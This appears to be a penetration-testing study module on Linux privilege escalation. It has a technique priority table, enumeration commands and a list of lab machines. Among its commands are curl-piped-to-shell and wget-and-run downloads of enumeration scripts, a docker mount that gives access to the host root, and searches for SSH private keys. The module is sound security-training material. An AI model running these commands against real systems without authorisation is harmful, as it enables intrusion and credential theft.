Back to All Modules

Linux Privilege Escalation

#Overview

Linux privilege escalation is the process of elevating from a low-privilege user (www-data, apache, nobody, service accounts) to root. Linux privesc follows a structured methodology: automated enumeration for low-hanging fruit, then manual deep-dive into specific techniques. The kernel, file permissions, scheduled tasks, and service misconfigurations are the primary attack surfaces.

#Priority Order

PriorityTechniqueKey CommandEffortSuccess Rate
1sudo -lsudo -lMinimalHigh
2SUID binariesfind / -perm -4000 -type f 2>/dev/nullLowHigh
3Capabilitiesgetcap -r / 2>/dev/nullLowMedium
4Cron jobsCheck /etc/crontab, pspyMediumMedium
5Writable systemd servicesfind /etc/systemd -writableMediumMedium
6Docker groupid then docker run -v /:/host -it alpine chroot /hostLowHigh
7Writable /etc/passwdCheck permissions on /etc/passwdLowHigh
8Password/key huntingfind / -name id_rsa, grep configsMediumMedium
9NFS no_root_squashshowmount -e, mount + SUIDMediumMedium
10Library hijackingLD_PRELOAD, ld.so.preload, RPATHMediumMedium
11Symlink/race conditionsWritable dirs + root-owned write opsHighLow-Medium
12Kernel exploitsuname -a, exploit suggesterHighMedium

#Automated Enumeration First

Always start with automated tools before manual hunting:

# linpeas (most comprehensive)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Alternative: LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh && chmod +x LinEnum.sh && ./LinEnum.sh

# pspy (watch processes without root)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 && chmod +x pspy64 && ./pspy64
BASH

#Manual Verification Priority

After automated enumeration, verify these in order:

# 1. Sudo
sudo -l 2>/dev/null

# 2. SUID
find / -perm -4000 -type f 2>/dev/null

# 3. Capabilities
getcap -r / 2>/dev/null

# 4. Cron
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.* 2>/dev/null

# 5. Writable files owned by root in PATH directories
find / -writable -user root -type f 2>/dev/null | grep -v proc

# 6. Docker
id | grep docker

# 7. /etc/passwd writable
ls -la /etc/passwd /etc/shadow

# 8. SSH keys
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# 9. Kernel
uname -a
cat /etc/os-release
BASH

#Cross-References

#Tool References

ToolLink
linpeashttps://github.com/carlospolop/PEASS-ng
LinEnumhttps://github.com/rebootuser/LinEnum
pspyhttps://github.com/DominicBreuker/pspy
GTFOBinshttps://gtfobins.github.io/
linux-exploit-suggesterhttps://github.com/mzet-/linux-exploit-suggester

#Source Machines

  • Help (Easy, Linux) - Kernel exploit (4.4.0-116-generic)
  • Intentions (Hard, Linux) - Capability abuse (CAP_DAC_READ_SEARCH)
  • Sau (Easy, Linux) - Sudo misconfiguration (systemctl status + pager escape)
  • Monitored (Medium, Linux) - Sudo + symlink attack on getprofile.sh
  • Soccer (Easy, Linux) - doas + dstat plugin execution
  • Cerberus (Hard, Linux) - Firejail SUID CVE-2022-31214 container breakout